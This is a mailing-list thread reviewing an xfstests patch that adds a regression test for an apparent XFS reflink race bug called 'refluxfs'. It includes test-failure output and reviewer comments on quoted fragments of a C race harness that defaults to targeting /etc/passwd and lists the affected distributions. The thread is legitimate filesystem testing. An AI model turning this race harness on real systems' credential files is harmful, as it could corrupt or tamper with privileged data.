> > > > PLATFORM -- Linux/x86_64 bogon 7.2.0-mainline+ #3 SMP PREEMPT_DYNAMIC Mon Aug 24 20:34:26 CST 2026
> > > > MKFS_OPTIONS -- /dev/sdc1
> > > > MOUNT_OPTIONS -- -o context=system_u:object_r:root_t:s0 /dev/sdc1 /mnt/scratch
> > > >
> > > > generic/1956 - output mismatch (see /root/git/xfstests-dev/results//generic/1956.out.bad)
> > > > --- tests/generic/1956.out 2026-08-24 14:19:18.790104900 +0800
> > > > +++ /root/git/xfstests-dev/results//generic/1956.out.bad 2026-08-24 21:44:35.654443414 +0800
> > > > @@ -1,2 +1,2 @@
> > > > QA output created by 1956
> > > > -corruption not observed
> > > > +unknown outcome 126
> > > > ...
> > > > (Run 'diff -u /root/git/xfstests-dev/tests/generic/1956.out /root/git/xfstests-dev/results//generic/1956.out.bad' to see the entire diff)
> > > > Ran: generic/1956
> > > > Failures: generic/1956
> > > > Failed 1 of 1 tests
> > > >
> > > >
> > > > > .gitignore | 1
> > > > > src/Makefile | 2
> > > > > src/refluxfs.c | 461 ++++++++++++++++++++++++++++++++++++++++++++++++
> > > > > tests/generic/1956 | 58 ++++++
> > > > > tests/generic/1956.out | 2
> > > > > 5 files changed, 523 insertions(+), 1 deletion(-)
> > > > > create mode 100644 src/refluxfs.c
> > > > > create mode 100755 tests/generic/1956
> > > > > create mode 100644 tests/generic/1956.out
> > > > >
> > > >
> > > > [snip]
> > > >
> > > > > +#ifndef FICLONE
> > > > > +#define FICLONE _IOW(0x94, 9, int)
> > > > > +#endif
> > > > > +#ifndef XFS_SUPER_MAGIC
> > > > > +#define XFS_SUPER_MAGIC 0x58465342
> > > > > +#endif
> > > > > +
> > > > > +#define BLK 4096
> > > >
> > > > This's a hard code, what if the fs blocksize or pagesize isn't 4096?
> > > >
> > > > > +
> > > > > +/* ---- configuration (overridable via CLI) --------------------------------- */
> > > > > +static const char *target_path = "/etc/passwd";
> > > > > +static const char *clone_dir = "/var/tmp";
> > > > > +static int nr_writers = 32;
> > > > > +static int nr_pressure = 8;
> > > > > +static int budget_s = 300;
> > > > > +
> > > >
> > > > [snip]
> > > >
> > > > > +
> > > > > +#if 0
> > > > > +static int is_xfs(const char *p)
> > > > > +{
> > > > > + struct statfs s;
> > > > > + if (statfs(p, &s)) return -1;
> > > > > + return s.f_type == XFS_SUPER_MAGIC;
> > > > > +}
> > > > > +#endif
> > > >
> > > > If this's useless, how about remove them?
> > > >
> > > > > +
> > > > > +/* FIEMAP: is the target's first extent already shared (refcount > 1)?
> > > > > + * If so the race can never see refcount==1. */
> > > > > +static int target_first_extent_shared(void)
> > > > > +{
> > > >
> > > > [snip]
> > > >
> > > > > +#if 0
> > > > > + /* 2. target on XFS */
> > > > > + int x = is_xfs(target_path);
> > > > > + if (x < 0) die(1, "statfs target", NULL);
> > > > > + if (!x) {
> > > > > + BAD("target is not on XFS (f_type != XFS_SUPER_MAGIC).");
> > > > > + INFO("RefluXFS only affects XFS with reflink=1 (mkfs.xfs default since");
> > > > > + INFO("xfsprogs 5.1.0; backported by Red Hat for RHEL 8 GA). Default root");
> > > > > + INFO("fs on RHEL/CentOS/Rocky/Alma/OL/CloudLinux 8+, Fedora Server 31+,");
> > > > > + INFO("Amazon Linux 2023.");
> > > > > + exit(1);
> > > > > + }
> > > > > + OK("target is on XFS");
> > > > > +#endif
> > > >
> > > > Same
> > > >
> > > > > +
> > > > > + /* 3. clone_dir on the same superblock */
> > > > > + if (access(clone_dir, W_OK)) die(1, "clone dir not writable",
> > > > > + "Need a writable directory on the SAME XFS filesystem as the target.");
> > > >
> > > > [snip]
> > > >
> > > > > +static void *pressure(void *arg)
> > > > > +{
> > > > > + char p[600];
> > > > > + snprintf(p, sizeof p, "%s/press.%d", workdir, (int)(intptr_t)arg);
> > > > > + int fd = open(p, O_RDWR|O_CREAT|O_TRUNC, 0600);
> > > > > + if (fd < 0) return NULL;
> > > > > + char b = 0;
> > > > > + while (!atomic_load(&stop)) {
> > > > > + /* return values irrelevant -- goal is XFS log traffic, not the data */
> > > > > + (void)!pwrite(fd, &b, 1, 0);
> > > > > + (void)!ftruncate(fd, BLK);
> > > > > + fdatasync(fd);
> > > > > + (void)!ftruncate(fd, 0);
> > > >
> > > > As this's a generic test case, the pressure() works for XFS CIL, does it work
> > > > for other filesystems?
> > > >
> > > > Thanks,
> > > > Zorro
> > >
> >
>
^ permalink raw reply [flat|nested] 8+ messages in thread
end of thread, other threads:[~2026-08-24 20:18 UTC | newest]
Thread overview: 8+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-08-21 23:51 [PATCH v2] generic: regression test for refluxfs fixes Darrick J. Wong
2026-08-24 4:48 ` Christoph Hellwig
2026-08-24 14:05 ` Zorro Lang
2026-08-24 16:45 ` Darrick J. Wong
2026-08-24 18:15 ` Zorro Lang
2026-08-24 19:15 ` Darrick J. Wong
2026-08-24 20:18 ` Zorro Lang
2026-08-24 17:40 ` Darrick J. Wong
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox